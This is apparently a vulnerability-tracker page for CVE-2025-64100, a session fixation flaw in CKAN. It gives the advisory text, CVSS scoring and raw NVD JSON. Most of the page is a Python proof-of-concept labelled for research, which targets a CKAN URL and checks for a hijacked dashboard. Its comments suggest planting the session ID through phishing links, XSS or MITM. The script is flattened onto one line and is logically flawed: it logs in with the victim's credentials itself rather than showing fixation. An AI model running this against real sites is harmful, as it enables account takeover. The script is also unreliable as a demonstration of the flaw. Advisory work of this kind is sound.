Security Vulnerability Report
中文
CVE-2025-64100 CVSS 6.1 MEDIUM

CVE-2025-64100

Published: 2025-10-29 18:15:43
Last Modified: 2026-04-15 00:35:42

Description

CKAN is an open-source DMS (data management system) for powering data hubs and data portals. Prior to 2.10.9 and 2.11.4, session ids could be fixed by an attacker if the site is configured with server-side session storage (CKAN uses cookie-based session storage by default). The attacker would need to either set a cookie on the victim's browser or steal the victim's currently valid session. Session identifiers are now regenerated after each login. This vulnerability has been fixed in CKAN 2.10.9 and 2.11.4

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

CKAN < 2.10.9
CKAN < 2.11.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import argparse def session_fixation_poc(target_url, attacker_controlled_session): """ Session Fixation PoC for CVE-2025-64100 This PoC demonstrates the session fixation vulnerability in CKAN """ # Step 1: Attacker obtains a valid session ID session = requests.Session() response = session.get(target_url) session_id = session.cookies.get('session_id') or attacker_controlled_session # Step 2: Injected session ID set on victim's browser (social engineering) # In real attack, this would be done via: # - Phishing link with ?session_id=ATTACKER_SESSION # - XSS payload setting the cookie # - MITM attack injecting the cookie # Step 3: Victim logs in (session ID not regenerated) login_url = f"{target_url}/user/login" login_data = { 'login': 'victim_username', 'password': 'victim_password' } response = session.post(login_url, data=login_data) # Step 4: Attacker uses the same session ID to hijack attacker_session = requests.Session() attacker_session.cookies.set('session_id', session_id) # Step 5: Access victim's authenticated session dashboard_url = f"{target_url}/user/dashboard" response = attacker_session.get(dashboard_url) if response.status_code == 200 and 'logged_in' in response.text: print('[+] Session hijacking successful!') print(f'[+] Session ID used: {session_id}') else: print('[-] Attack failed') if __name__ == '__main__': parser = argparse.ArgumentParser(description='CVE-2025-64100 Session Fixation') parser.add_argument('--url', required=True, help='Target CKAN URL') parser.add_argument('--session', help='Attacker-controlled session ID') args = parser.parse_args() session_fixation_poc(args.url, args.session)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64100", "sourceIdentifier": "[email protected]", "published": "2025-10-29T18:15:42.650", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "CKAN is an open-source DMS (data management system) for powering data hubs and data portals. Prior to 2.10.9 and 2.11.4, session ids could be fixed by an attacker if the site is configured with server-side session storage (CKAN uses cookie-based session storage by default). The attacker would need to either set a cookie on the victim's browser or steal the victim's currently valid session. Session identifiers are now regenerated after each login. This vulnerability has been fixed in CKAN 2.10.9 and 2.11.4"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-384"}]}], "references": [{"url": "https://github.com/ckan/ckan/commit/c2fe437f88be850a6edf7a32470772428819fab5", "source": "[email protected]"}, {"url": "https://github.com/ckan/ckan/security/advisories/GHSA-2hvh-cw5c-8q8q", "source": "[email protected]"}]}}